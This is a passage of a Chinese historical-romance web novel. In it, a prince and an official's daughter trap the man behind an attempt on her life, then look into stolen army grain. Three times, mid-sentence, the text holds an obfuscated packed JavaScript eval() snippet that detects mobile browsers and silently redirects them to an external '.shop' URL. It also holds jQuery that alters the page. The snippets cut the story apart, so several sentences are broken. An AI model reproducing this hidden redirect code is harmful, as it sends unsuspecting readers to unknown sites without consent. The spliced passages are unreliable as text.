“原先我也这般以为，在这个万安城内想害我想我死的一定是我那个好哥哥。可经上次一事，我却有了不一样的看法，赖长兴登闻鼓前因弹劾于我而被射杀，情理上杀他的人应该是我，但你我都知，是另有其人。那为何今日为我设下陷阱的不能是别人呢？更何况我那个哥哥向来最是喜欢扮成被我打压的形象活跃在万安城内，主动出击也一直不是他的最先选择。” “你怀疑另有其人？” “不知，但如若想知道，这虎穴我们就需得跳下去才能一探究竟。” “殿下是有办法了？” “办法是有，但胜算不大。”刘聿洵收起严肃，嘴角勾起了惯常的戏谑的笑意，他摆出手指，“也就一成把握。” 20. 第五章 和乐夜宴（五） 回到雍王府，刘聿洵便命令李全胜找人去请了他那“一成把握”。 这些时日忙于寻找那些死士，刘聿洵对王太初也无暇顾及，原以为经历了那日的惊魂一幕，王太初定是不敢再出门，却没料想她只是在府里躲了两日就大着胆子出了府门，而出门去的第一个地方便是通政使司左通政郑慎行的府邸。这样的逻辑也是没错，毕竟朝堂之上能够让人起杀心的事情无非也就是“夺其官秩”了。 “所以她见到郑大人了？” 雍王府的后花园有一湾从护城河引入的池塘，此处驳岸叠石，曲桥回廊皆出自宫中巧匠之手，每一处细节都暗藏精妙。池中的锦鲤也都是千里择选的名贵品种，每一摆尾皆是游姿绰约，令人移不开眼睛。纵使此刻已是深秋，残荷垂首，枯叶欹斜，满池尽染萧瑟，但比之其他时候，刘聿洵却更加偏爱这清寂之韵。 “王姑娘没有去见郑大人，而是找的郑姑娘。” 刘聿洵闻之，才觉得自己的问题甚是可笑，如果郑慎行不满王抃的截胡夺位，怀恨在心，要动手解决的也只会是王抃，再不济也得是王绍安，不会是她王太初，这道理王太初也定懂得。 “她还不算愚笨，那她和郑思玥又说了些什么？” “我们派去的人对郑大人府邸不熟悉，因此没有贸然跟着王姑娘入府。” “自作主张！”刘聿洵猛地转头，眸中寒光骤聚，“论辛芷绮和郑思玥的关系，如果辛芷绮在郑府设下埋伏，今天他们的脑袋都保不住。” 一股脑将鱼食全部倒进池塘，刘聿洵泄忿般将食盆扔到地上。 “是臣管教无方，那日后来呈上来的探报中显示，跟踪辛芷绮的那队人和保护王姑娘的那队人的确在同一时间在郑府产生了交集。”李全胜跪倒在地，“臣愿意代他们受罚。” “起来，继续说。”想到那日黑衣人挥刀劈向王太初的情景，还不免心悸害怕，刘聿洵知道此时是自己反应过激了，他背身走到池塘边，继续问道，“后来她又去了哪里？” “她还去了辛起山辛大人的府邸。”李全胜站起身，掸了掸膝盖上的灰尘，“王姑娘没有叩门拜访，只是找了临街一个正对着后门的糖水铺子坐了几日。” 刘聿洵仍旧背手临池而立，他没有说话，心中却掀起惊涛骇浪。此刻他才惊觉，自己从前竟将王太初看轻了。这个曾被他视作天真烂漫、不谙世事的姑娘，其实原本就拥有在万安城立足谋生的本事。 她竟然能追查到辛府。 “殿下，王姑娘到了，此刻正候在前厅。” 管事的见刘聿洵发火，候在一旁迟迟没有禀告，等好不容易安静了下来，才开口说话。 “让她来这里吧。” 为了迎接王太初的到来，刘聿洵特意让人在前厅提早生起了火盆，可现在看来却没了必要。看来她根本就不是什么温室里娇艳的花，而是戈壁滩上扎根砂砾的胡杨。 “臣女见过殿下。” 王太初身披一件狐毛镶边的藏青色锦缎披风，虽眉眼间有淡淡的倦色，但眸光却清亮。 “王姑娘免礼，李全胜给王姑娘看茶。”池塘边原本就有茶案，在旁伺候的侍女在听闻刘聿洵要在此处招待王太初时就已准备好了茶盏，管事的也重新生了一个火盆放在王太初的近处。 虽行礼时身姿恭谨，言辞间尊卑分明，可没等赐座，她便找了刘聿洵座位对面坐下。 见状，刘聿洵宠溺一笑，坐到了她的对面。 “王姑娘这些时日都去哪玩了？”将案上的糕点推到王太初跟前，刘聿洵询问道。 “这些时日自然是在和乐楼帮忙，哪里有时间出去玩闹。”她倒也是客随主便，见刘聿洵推糕点过来，捡起一枚就放到嘴里，“殿下不知我那个大哥哥，最是看不得我偷懒。” “哦？王姑娘好胆色，我原以为经上次之事，王姑娘定是会躲在家中不敢出门。” “前番祸事虽骇人，但也不能终年困守在家中，既然迟早要出门，早一日晚一日也无分别。”王太初将口中的糕点咽下，挥挥手示意刘聿洵靠近，轻声说道，“主要是我实在拗不过我那哥哥，又不可如实相告，也只能冒着风险出了门。” 刘聿洵盯着王太初真诚的眼睛，若不是他一直派人跟着她，知道她已经查到了辛府，恐怕自己也会被骗。 他惊讶于短短数月王太初的变化，她的身上已经看不到那个在康王府内胸无城府的姑娘的身影了。 他有些失落，他不知道这失落来自何处，是因为万安城内不再有一个天真烂漫的姑娘，还是因为他发现她对自己也有了防备。 她学得可真快。 刘聿洵没有答话，只是也随手捡起了盘中一块糕点，塞进嘴里，假装难咽转过了头。 “殿下此次找我所谓何事，莫不是找到那些加害于我的匪人了？” 王太初见刘聿洵不说话，开口问道。 “姑娘觉着会是何人？” 像是对王太初的故意隐瞒还不死心，刘聿洵开口追问。 “臣女来万安城不过数月，仔细盘算下来也没做什么事情会让人想要我的性命，实在不知，如果我有何线索，早便报告官府了，何苦白挨那一下。”王太初忽闪着双眼，眸光澄澈，逻辑严谨，那副真诚憨直的模样，任谁瞧了都要放下三分戒备。 “王姑娘言之有理。”刘聿洵轻笑一声，拿起茶盏润了润喉，“我这里倒有几分线索，但还未有确实的证据，所以此次想请姑娘帮忙。” “殿下请吩咐。” 刘聿洵看到王太初的眼底掠过一丝防备，虽极力掩饰，但还是被他捕捉到了，心下微微一沉。 此刻他觉得王太初才是那个执局的上位者，一切了然于心，正等着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16186944|180575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己开口，以便将自己归类。 “寻着那日的轨迹，我们查到了辛起山。” 刘聿洵看到王太初沉静如水的眼神中闪过一丝光亮。 “但也只是推测没有实证，若无确凿的证据，便不可仓促定罪，否则他日恐有翻案之虞。”刘聿洵见王太初不言语，继续补充道，“所以想请姑娘帮忙同我一起演一出戏，抓个现场。” “需要我如何做？” 王太初倾身向前，比起刚才戒备客气的模样，刘聿洵看出此刻自己好歹算是挽回了她的几分信任。 他禀退了所有的管事女使，只留下了李全胜，示意王太初靠近，凑到她的耳边，轻声说道。 “此计需要王姑娘明日去一趟牙行。” 深秋时节，暮色总是来得格外迅疾。王太初被李全胜送到府门口的时候，正好碰到前来拜访的礼部尚书吴钩。 沉水一直等在马车上，此刻见王太初出来，便拿了件大氅迎了上去。 “殿下找姑娘可是为了那日之事。”这些时日沉水一直如惊弓之鸟一般想将事情的原委跟王抃和盘托出，可王太初一直不允许。 先前的时候瞧着自家的小姐还有跟刘聿洵分享探访结果的欲望，直到那日在郑思玥的府邸，看到了辛芷绮和周元月。 那日王太初的突然去访，辛芷绮的惊慌失措、方寸大乱几乎让王太初瞬间便将疑窦聚集到了她的身上。 尤耐人寻味的是，那日和乐楼不知怎么就有了镇西都督周致正独女周元月和雍王刘聿洵的流言，竹马青梅、两小无猜说的那是逼真传神。 “说是找到了些线索。” 王太初将大氅裹紧，拉着沉水没几步就上了马车，随手抓起手炉抱在怀里。 “是谁是谁？”沉水自小在王太初身边长大，最是知道她的喜怒哀乐，她怀疑辛芷绮，自然也信不过周元月，潜意识地也就把那个‘竹马’给划入了不可信之人的范畴，而沉水也知晓，自己的姑娘此前是一直把雍王当作是万安城内的友人的。 “他说是辛起山。” “那说明雍王殿下并未欺瞒姑娘，他跟她们并非是一伙的。”沉水闻言，甚是高兴，“我就说，那日殿下对姑娘也是拼死相救，定是和姑娘站在一边的。” “暂且信他。”王太初将双脚也藏进大氅中，掀开车帘看着雍王府的朱漆大门在暮色里渐成模糊的黑影。 此时的雍王府内，刘聿洵正细观着吴钩新呈献上来的一对东珠。 “还真能让你找到酸枣一般大小的东珠。”刘聿洵笑着合上锦盒，显然对这对东珠很是满意，“李全胜，你明早就派人送至母后处，让银作局在立冬之前打造出一对耳饰来。” “吴尚书此番辛苦了。”刘聿洵起身绕过书案，走到吴钩身前，他双手虚托吴钩，将人稳稳扶了起来，“以后可要常来府中走动。” 21. 第五章 和乐夜宴（六） 正德三十五年立冬夜。 今夜的和乐楼悬灯如昼，红绸似火浪翻涌飞檐，丝竹之声裹着笑语自雕花木窗潺潺流淌，终是有了江音如满意的样子。 王太初和王绍安并肩立于和乐楼大门外，二人皆穿着簇新锦袍，王太初更是从晨光熹微捯饬到了华灯初上，每一处细节都需要江音如首肯才算定下了装扮。 “在等雍王殿下？” 自王太初立在这和乐楼大门前，便不住踮脚张望街口，分明是在等什么人的到来。 “休要胡说。”王太初听闻，双颊瞬间漫上胭脂色，耳尖也烧得通红，她侧身轻轻撞了撞王绍安，以示不满。 “是吗？我以为这些时日你时常去牙行看那雍王府旁的宅院，怕不是想要搬到那附近，近水楼台先得月呢。”他垂眸望着王太初，唇边笑意温软，眼底却掠过一丝不易察觉的担忧，像是春水里浮着的细冰。 “哥哥说话荒唐。” 那日自雍王府回来以后，王太初便照着刘聿洵所言去往了万安城内最大的牙行。其实那日她也未做其他，只是在牙行内饮了几盏茶，坐了些时候便回了王府，可谁知第二日王家王太初买雍王府旁宅院的消息就在万安城内传了开来。可笑的是，什么都没做的自己，竟还被传成了一副对那宅院势在必得的样子，而更可笑的是，那破宅子竟还有人抬价，导致那宅子的价格如沸水上腾，竟比市价高出了十数倍，所以今日才会有了王绍安打趣自己的话语。 王太初话音未落，正巧朱昌颐的青呢小轿停在门前，只见来人掀开轿帘，踏步而出，“我也瞧着绍安兄荒唐，今日和乐楼，倒是将这一街灯火都衬得暗淡，独留自己占尽风华，这可不像是绍安兄的风格。” “家母定要操办一番。”王绍安见朱昌颐到来，连忙上前打拱行礼，指了指王太初算是告诫以后，便笑着陪朱昌颐入楼寻座。 王太初屈膝道了声万福，目送朱昌颐被陪着入楼。她轻笑一声，自己的哥哥同自己又有何不同，和乐楼内这满堂的宾客，真正是为了王绍安的接风宴而来的无非也只有这位太子侍读朱昌颐罢了。 她回身望向街口，堂内宾客已十之八九，可那个今夜唯一为她王太初而来之人却迟迟没有出现。 “都说王抃王大人为官清廉、不喜铺张，现在看来坊间的美谈怕是也不能全信。” 正当王太初专注盯着街口之时，周元月乘坐的马车从另一边而来，此刻已在和乐楼前停定，而此刻巧舌如簧，评头论足的正是辛芷绮。 她率先被搀扶着下了马车，一身依然是珠光宝气，紧随其后下车的是洪婕，虽是淡雅却也看得出是为了场合精心打扮了一番，郑思玥跟在后头，脸上虽有厚重脂粉修饰却还是能看出精神不济。 王太初朝天翻了一个白眼，自己在这寒风里站了那么久，没等来刘聿洵，倒是将这群妖魔鬼怪给等了来。 她低头扶额佯装看不见要走。 这些时日对于雍王府旁那座宅院买卖的流言思来想去串联了一番，暗地里还调查打听了一些，猜想刘聿洵此举可能是想钓鱼，虽不知为何事钓鱼，却知道这肥鱼是谁。 “呦，王姑娘见了我们就溜，怕这不是待客之道吧。”当然这肥鱼显然还不自知。 “辛姑娘这些时日可好，许久未见，听说辛大人病了好些时日未上朝，您看着倒是胖了不老些。”王太初虽怀疑想杀害自己之人是辛芷绮，对她也是恨之入骨，但又怕坏了刘聿洵的计划，不想逞一时之快，还是强颜欢笑迎上前去，“外头风大，请速速进楼入座。” “你才胖……”辛芷绮躲开王太初攀上去的手，脸上有些挂不住，她素来贪吃，这几日更是几乎未去外头走动，腰身自是大了好几圈。 “咳咳，辛妹妹无礼了，现下王大人是通政使，早已不需要那些虚名了。”周元月坐在车厢内，一直没有出声，眼见辛芷绮落了下风，才掀开车帘探出脑袋，明着像是教训辛芷绮，暗地里却讽刺王抃贪图虚名。 “郑姐姐。”辛芷绮笑着没有接周元月的话，而是朝着郑思玥使了一个凌厉的眼色，便看到郑思玥走到周元月跟前伸出了手，准备扶着她下马车。 王太初看着眼前的这一切才惊觉，这四人之间的关系现下全然变了，不知何时，原本最贴近周元月身旁的郑思玥，现在变成了辛芷绮。 她盯着那个不断将雍王府旁宅院的价格推到高处的幕后之人，看着她慢慢被扶下马车，抚了抚鬓角，含笑着拉过辛芷绮的手，王太初知道，肥鱼上钩了。 “周姑娘此言不妥，如此说来，倒是会让听者误会姑娘议论我爹爹先前是在乎虚名之人。”王太初点了点头算是欢迎，含着笑继续说道，“我想姑娘定没有此意，往后还是说清楚一些为好。否则落下个擅议朝廷命官的罪名，恐怕也是不妥。” “王姑娘真是伶牙俐齿。”唇角勉强挤了挤笑，周元月被扶着在马车前站定后，便吩咐使女从车厢内取来了一个锦盒，“今日是王姑娘的接风宴，我也给姑娘备了一份薄礼，想必对姑娘甚是有用处。” “那便谢过周姑娘了。” 王太初从使女手中接过锦盒，只是拿在手中丝毫没有打开的意思。 “王姑娘不打开看看？”已知道锦盒内是何物的辛芷绮早已按耐不住。 “既然周姑娘说此物对我甚是有用处，在此处打开便就不得当了。” “王姑娘知道是何物就言不得当？” “难道不是唾壶吗？”王太初故作不知捧起锦盒到眼前左看右看，“不瞒辛姑娘，也不知是方才嗅到了什么恶心之物，此刻只觉着喉间作逆，翻胃难平，最想要最有用处的便是那唾壶了。大庭广众之下，小女拿唾壶作呕岂不是不得当，所以还是先不打开了。” “牙尖嘴利。”辛芷绮果然是沉不住气，她依仗着自己身后是周元月，丝毫没有把王太初这个朝廷三品大员的嫡女放在眼中，抢过手中的锦盒打开，将盒内之物扔到王太初的手中。 那是一本《女论语》。 “哦？此书有何过人之处？”佯装不解，王太初随手翻看了几页。 “自然是教你这个乡野之女如何在万安城内立足的法宝，免得王姑娘行事作风不妥，惹了笑话。”趾高气昂的辛芷绮像是完全取代了郑思玥在周元月身边的地位，那日在康王府做那出头鸟的还是郑思玥，今日就变成了辛芷绮，而唯一没变的就是那个站的身后策划一切，道貌岸然的周元月。 “辛妹妹怕是曲解了我的意思，我送王姑娘此礼并非觉着王姑娘是乡野之女，难登这万安城的大雅之堂，只是觉着既然往后王姑娘要在万安城内长久生活，怕还是要收敛一些本性为好。” “原来周姑娘的心意在此，小女先谢过周姑娘的‘薄礼’了，但恐怕要让姑娘失望了。”王太初将书重重合上，重又塞回给周元月，“小女无论身在何处，在乡野之间也好，在万安城内也罢，向来不喜欢以别人的所谓道理作为准则践行。我是如何立身学作的，我自己自然知道，至于我是如何事父母的，我的父母也自知晓，关于未来我如何对待夫君，也不劳外人操心。” “不识好歹，到时候闹了笑话，可不要追悔莫及。”看着周元月的瞳仁里翻涌起厉色，辛芷绮忙接过那本《女论语》交到女使手中，在周元月的身边相伴多年，她自然知道她的脾性，万安城内占尽风头的她最是在意自己温淳的名声，所以向来都是郑思玥和自己做她那搬唇递舌之人。 可是在王太初面前，眼见着周元月这温淳的名号怕是守不住了。 只见她不动声色地深吸几口气，才勉强将浮上眼眸的怒意压回眼底，开口说道。 “王姑娘如若用不上，那自然最好。” “元月可是无趣得很，哪有接风宴送这般不值钱的玩意的。” 也不知刘聿洵是何时到的此处，她们之间的对话又听去了几分，等众人循声看向出声处的时候他正倚靠在欢门边，手中颠着一个精巧的檀木盒子。 此刻周元月好不容易压下的怒意便再也粉饰不了，想到这些时日刘聿洵和王太初之间的种种，也顾不上虚饰周旋，脱口便是，“雍王殿下既然如此说，想来这盒子里的定是价值连城的好东西吧。” “诶，果然是元月聪慧。” 原本只是周元月一句气话，却没料到刘聿洵来了兴致，他站直了身子朝着她们走来。 “这倒还是元月身边的辛姑娘给我的灵感，兵部职方司郎中的女儿尚且能用得起这样的东珠。”刘聿洵用盒角指了指辛芷绮耳畔的珍珠，轻笑一声，他的笑里藏着三分轻蔑，五分运筹，还有两分对猎物挣扎的玩味，“通政使的姑娘自然配得上更大颗的。” 说罢，刘聿洵便双手将檀木锦盒递到王太初的眼前，打开锦盒。 一对鎏金累丝耳环自盒中倾出，银鎏金的缠枝莲纹托着两颗圆润硕大的东珠，珠色莹润若凝脂，皎皎然泛起月华之辉。 “万安城欢迎王姑娘。”刘聿洵将王太初耳畔原本的耳环取下，温柔地将那东珠戴上，弯下身子轻声说道，“本王也欢迎太初姑娘。” 摇曳的东珠耳环流转着皎白金光，在王太初的脸上投下万千光辉，耀眼的光华与她脸颊自然晕开的娇红相映，更添几分动人之色。 “雍王殿下！”辛芷绮看着周元月脸上血色渐褪，脸色越发阴沉，那双眼底骤然翻起杀意，上次失手没有刮花王太初的脸自己已是入了险境，现下这对鸳鸯更是在她们眼前秀起了恩爱，她也顾不上眼前之人是什么皇子，不经思索便出声阻止。 “殿下，他们招了。” 正在辛芷绮为自己的以下犯上懊恼之时，马蹄的疾驰声打断了她的思路。 李全胜策马到刘聿洵跟前，跃身下马抱拳禀告：“殿下，他们全招了。” “那便好。”他望向站在身侧的王太初，眼底含笑，“这样便算是对我的朋友有交代了。” 此刻王太初才反应过来是何意，她的手不自觉地摸上耳畔的东珠，滚烫的掌心摸上东珠那一刻，犹如一粒星火坠入春溪，她听到自己的心跳声似砸向溪水的暴雨一般，轰隆作响。 “殿下既然有公务在身……” “纵使有公务在身，也没有王姑娘的接风宴重要。”刘聿洵开口阻止辛芷绮未说完的话，蹙眉转身看向她，“倒是辛姑娘此刻还呆在此处做什么，还是赶快回家去吧，否则怕是见不到辛大人了。” “属下已派人前往辛府。”李全胜补充道，“辛姑娘若还想见到辛大人怕是要快些。” 在辛芷绮尚自怔在原地不明所以之时，周元月率先反应了过来，她按住还想探身询问的辛芷绮：“这其中怕是有什么误会，我先陪妹妹回府。” 说罢周元月和辛芷绮便由使女搀扶着上了马车，郑思玥和洪婕也紧随其后跟了上去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“正是，我们在赌辛起山会为了辛芷绮铤而走险。” “哎，也不知周元月那身边的位置有何引人之处，值得她付出如此代价。”王太初长叹一口气，“另外有一点我一直想不明白，这辛芷绮又为何要杀我，只是因为那日同她在康王府的口舌？” “不知，或许是这个原因，或许是有别的我们不知道的缘由。” “看来日后我需得谨言慎行才是，这万安城的姑娘脾气可是不小。” “太初姑娘知晓便好。”看着眼前喃喃自语做起自我批评的王太初，刘聿洵逗笑着说道，“否则日后姑娘遇到危险我也不是次次能救的。” “哦？是吗？先不说以后，小女子先谢过前次殿下的救命之恩。”她冲着刘聿洵欠身行了一个万福礼以示感谢，站直身子以后对着尚在沾沾自喜的刘聿洵继续发问，“另外还有一件事情，需要殿下为我解惑。为何殿下使美男计时会想到以我作饵？殿下是凭何觉着周姑娘会认为只要我得了那宅院，便会和殿下有什么故事呢？” 刘聿洵从未想过王太初会如此直截了当地问出此问，他从未想过此事，他在潜意识中好像早已默认此事。 此刻他才明白周元月所说的伶牙俐齿原来是这般意思，他别过头去假装看来往行人。 “莫不是因为我的美貌？”面对语塞的刘聿洵，她更是来了兴致，绕到跟前，迎上目光继续追问。 “或许是吧。”他慌乱避开，抬头望月，避开话题后又觉得自己窝囊，重又撞上王太初的目光，“还是先入席吧。” “太子未至，尚还不能开席。”王太初轻抚耳畔东珠，脸上早已没了方才的羞怯之情，那双眸子直勾勾地盯着刘聿洵，竟比那东珠还要亮上几分，“所以殿下也觉着我漂亮？那殿下送我这般有心的礼物，可是还有别的心意。” “太子还未到？”不知为何，他竟不敢迎向这样炙热的目光，只能再次避开话题，问些无关紧要的话。 “太子未到，殿下却先到了，可会觉得未能后出显尊而介怀？”王太初上前一步，逼得刘聿洵只能后退。 “自然不会。” “为何不会？”见他闪躲，王太初有些懊恼，她又向前跨了一大步，继续追问，“因为这是我的接风宴，所以你不会？” “是的，因为这是你的接风宴，所以我不会。”刘聿洵站定在原地，这次他没有后退，他低头静静看着因为他的回答而喜笑颜开的王太初。 这不就是自己想要的吗？让冉冉上升的王家成为自己在朝廷中的政治筹码，而王太初就是他的捷径。 “请教两位此处是否是通政使王大人的宴席。” 沉默间隙，一个身着宫装的小童气喘吁吁地轻声插话道。 “正是，请教公公何事？”王太初从欢愉中回神，看到来人腰间挂着的东宫牙牌，判断此人是刘聿恒的宫人，便率先一步开口问道。 “太子妃身体不适，太子殿下今夜需得留在东宫，特命小人来向王大人说明。”说罢小童拿出两个轻巧的锦盒，“另还有两件薄礼要送给王家兄妹。” 此刻和乐楼半掩的雕花木窗内，婉转琴声如潺潺溪水般流淌而出。那是《凤求凰》的曲调，司马相如与卓文君的炽热情意，正随着这勾挑抹剔的琴声，飘向暮色深重的长街。 王太初莞尔一笑看向身旁的刘聿洵，戏谑地问道：“殿下可有给哥哥准备接风礼物？” 清越婉转的曲调，似情郎低诉衷肠，他长叹一口气，眼底尽是无奈又宠溺的笑意，修长的手指轻轻抬起，指腹略过她羞红的脸颊，最后落在她冻红的鼻尖上：“没有。” 22. 第六章 漕运总督（一） 年关将近，六部衙门皆陷入了前所未有的忙碌，为岁末诸事与新春朝仪奔波。户部官吏们忙着核验岁入岁出、调配漕银。吏部官吏们忙着考绩铨选、拟定迁调名单。工部官吏们忙着修缮宫室衙署，督造新年节庆器物。礼部官吏们忙着督造祭祀礼器、校订朝贺仪程。刑部官吏们忙着审结旧案，定罪量刑。只有兵部，除了要紧盯边关急报、调配粮草、增派戍卫、防范岁末异动这些寻常事务之外，还有调查西境军粮被劫之案。 明面上观之，数月之前沸沸扬扬的西境军粮劫案已然审结，刑部鞫问之后，以兵部职方司郎中辛起山“通敌牟利、戕害戍卒“结案，辛氏亦已伏法受诛，其家小亦尽遭流徙远方，其中当然也包括辛氏之女辛芷绮。 但在兵部，西境军粮结案却尚未了结，和乐夜宴结束之后，刘聿洵便在兵部內狱连夜细审了辛起山豢养的那群死士。不出其所料，这些死士原本皆是西军兵士，辛起山借用自己的权力在审核将士军功之时将军功安置在行贿军士之上，而这些实际有功之人，因不服军功被冒领弹劾上级，被辛起山开除军籍以后假意收留为之效力，成了劫掠西境军粮的死士。 这些原本皆是刘聿洵意料中之事，不算有什么惊喜，真正的意外之喜来自于其中一个匪人无心的一句话，他觉得军粮的重量不对。 在劫掠军粮之后，他们皆只需将军粮运送离开十数里便可离去，期间不需搬动。只其中一次，在打斗的过程中误伤了马匹，逼不得已只能靠人力运离，而此人正巧在军营之时曾经在伙房打过帮手，因此对粮食的重量十分敏感，当即便觉得重量不对，但想到军队中贪腐严重，缺斤少两也是常有之事便也不甚在意，没有向旁人提及。 抢劫军粮如此需得精密算计之事仅一个小小的兵部职方司郎中就能完成原本就不可让人信服，此条线索正好给了刘聿洵信心觉得此案背后必定还有别的猫腻。在得到郑岐玉的首肯之后，他暗中调集了兵部值得信赖之人，重新从辛起山的人际关系开始查起。 另一边和乐楼前脚自家少东家和姑娘的接风宴方散，接着便要备着迎接一年中最忙的腊月了。王公贵胄的年宴、商贾的尾牙酒，早将腊月的雅间订得满满当当的，加之和乐楼因为接风宴刚翻新装潢了一番，因此更是成了万安城内贵人们的首选。 江音如忙得不可开交，王太初也没了往日里的懒惰，乐得前去帮忙。朔风卷地的腊月，王太初却似沐暖阳，唇角的笑意总压不住，干起活来也甚是积极，尤其是采买之事，更是争先承揽。旁人不知其中缘由，而沉水却知道，自家的姑娘是借着采买之由找雍王‘私会’。 万安城内向来没有什么密不透风之事，更何况故事的主角还是膝前显贵的雍王殿下和炙手可热的权臣嫡女。早前王太初想要花重金购置雍王府边产业的消息已是闹得满城皆知，现下在万安城的各个市集店铺也都有二人携伴相逛的影子，更是坐实了此二人非同一般的关系。万安城的街巷内也早已换了口风，原本坊间认为的雍王殿下的良配也从镇西都督周致正之女，变成了通政使王抃之女。 王太初也时常听闻她和刘聿洵之间的传言，更甚者她还听说过他们之间已在相看，保媒的还是太宗皇帝。 她于市井传闻并不挂怀，只觉得近来有刘聿洵相伴左右，心中欢喜日盛，她亦不以此时相处必求婚约为念，毕竟于万安城中，她与刘聿洵相熟也不过数月光阴，她行事全凭一念心动，想见他时，便去见之。 “殿下今日可是有心事，何不同我说说，说不定我能为殿下一解烦忧？”王太初此行是专门为和乐楼采买茶果的，对万安城尚不熟悉的她自然而然就找了刘聿洵帮忙，沉水知道这是自家小姐这几日惯用的伎俩，却没想到这个雍王殿下也是公务疏简，次次都能得空相伴。原本几个时辰就能办妥的采买，现下这般游玩一番，便要废去一整日。 “也无甚烦心之事。”刘聿洵倚靠在雕花栏杆边，前几日王太初说起万安城内的糕点大多甜腻，佐茶时总缺了咸香清口的妙品，他便想到了云影舫这道闻名遐迩的桂花糖佛手，此咸点以虾仁为馅裹着细碎的咸桂花正合王太初所求。今日赶巧碰到她外出采买茶果，便就将其邀到了这画舫之上，虽说到了腊月湖面早凝起尺许厚冰，湖中也无佳景，然而闻着这画舫破冰之声，刘聿洵也觉得心安。 他从栏杆处回到桌案前坐下，此时王太初正将第二块桂花糖佛手送入口中，他宠溺地看着她因为自己的靠近故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16210026|180575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意将嘴张得小了些，调侃道，“看来太初姑娘对这桂花糖佛手甚是满意，倒是不用在我跟前故作矜持，但敞开吃便是，何必拘着学那深闺小姐做派。” “自然是满意，所以才会想着替殿下排忧不是。”也不理会刘聿洵话语间的调侃，她自顾自给自己续上了一盏清茶轻抿，等着他开口。 暗查西境军粮劫案后，重新从辛起山身边关系网查访以来，刘聿洵的确是有了一些线索，其中最令他起疑之人便是和辛起山交往甚密的户部清吏司郎中沈泰，此人负责分管全国陆运粮赋调度，制定转运路线、核定损耗，作案很是方便。 只是这几日李全胜跟踪下来却全无进展，他查过后续运往西境的军粮，皆都是足额足数，一路上也甚是通畅，再无贼匪出现，好似随着辛起山的伏法，西境军粮劫案真的已是定案了结。 或许是因为此案已是入了穷巷兵部很是被动，也或许是因为刘聿洵对王太初的才智也是颇为欣赏，想着也许会有解决之道，鬼使神差的他便将这兵部暗自探查的密案三言两语告知了她，甚至没有避讳在旁的沉水。 “想来是雍王殿下太过于自负才会在这穷巷中打转找不到出路。”等刘聿洵将事情的大概说完，王太初才轻笑一声将茶饮尽，开口说到，“殿下总是自信地想要从活人处找到破案的线索，殊不知人是活的最善于隐藏，更何况是这些城府深沉的官员，还不是各个都是人精，想要从他们之处得到线索谈何容易。再者此刻辛起山方伏法被诛，他背后之人更是不会在此刻冒风险而出，所以我以为想要探得真相只守着人是不够的。” “你是说从死物开始查？从军粮开始查？”刘聿洵一点就透，抢着问道。 “没错，从军粮开始查。难道殿下对那些军粮的去处全然不好奇吗？如若是我，定会彻查军粮运输途中的每一个环节，找出那些被克扣的军粮究竟是在何地，如果我们的速度够快，而他们不够谨慎的话，总是会留下蛛丝马迹的。“眼见着刘聿洵的眼神瞬间清亮了起来，想必察事之策早已了然于胸，王太初便朝着自己的嘴里又塞了一个桂花糖佛手，接过沉水递上来的帕子，拭去手中酥酪残渍，站起身，“小女不耽误殿下的正事，吩咐画舫靠岸吧。” 23. 第六章 漕运总督（二） 这些时日朝堂之上还有一件吏部悬而未决之事，那便是漕运总督李安泰升迁之事。此人在漕运总督的位置上已满六载，已历两次考成，首考之时他便已有‘卓异’之评，本该迁任外放成为封疆大吏，可他却在金銮殿上以‘运河疏浚未尽’慨然请辞。今岁又遇考成，吏部早已拟定了江南富庶之地的总督之位上报太宗以供择选，可这批文却迟迟没有下来。 “臣叩见太子殿下。” 吏部尚书魏瑾便是负责此次年末考成的主考官，他通过核查官员一年政绩，评定其优劣，决定升迁、奖惩和去留，今岁其他官员的考核均已了结，只剩下李安泰的去留迟迟未定。 今早在衙门里他得到密报，道是原本该由太宗批红的奏疏却不知怎的就到了丞相之处，太宗将李安泰的去留决定权交给了赵普。得知此信他一刻也未耽误便借着探视太子妃的缘由进了东宫。 这些日子太子妃整日卧病在床，刘聿恒伴在东宫都未上朝，所以对于李安泰的去留之事还未来得及与之商量。 “叔父请起。” 魏瑾是先皇后胞弟，太子叔父。 “前几日听闻太子妃经太医院调养也未见有改善，仍旧只能卧病在床，今日可是有好转了？” 魏瑾趋至太子下首，敛衽而坐。 “谢谢叔父挂怀，仍旧是那般。因此父皇担心此疾或有传疫之虞，就允我在东宫看顾太子妃不用上朝。” “冬日室里室外温差大，最易染病，太子殿下也要照顾好自己才是。“魏瑾看着刘聿恒面色恹恹，嘱咐道，“切莫过了病气，伤了尊体，否则臣下对姐姐可无法交代。” “叔父宽心，太子妃已单独移居偏室，不甚大碍。”刘聿恒轻咳一声，见身旁的女使马上要递过来茶盏便摆了摆手，对着魏瑾问道，“吏部可是有什么急事？” 虽是太子妃的叔父，借着探视病情入宫也并非不可，只是魏瑾向来是个严谨之人，如若不是有紧急之事断然也不会在值事之时，行此私务，落人口舌。 “正是，是先前太子向我讨要的漕运总督之职出了纰漏。” 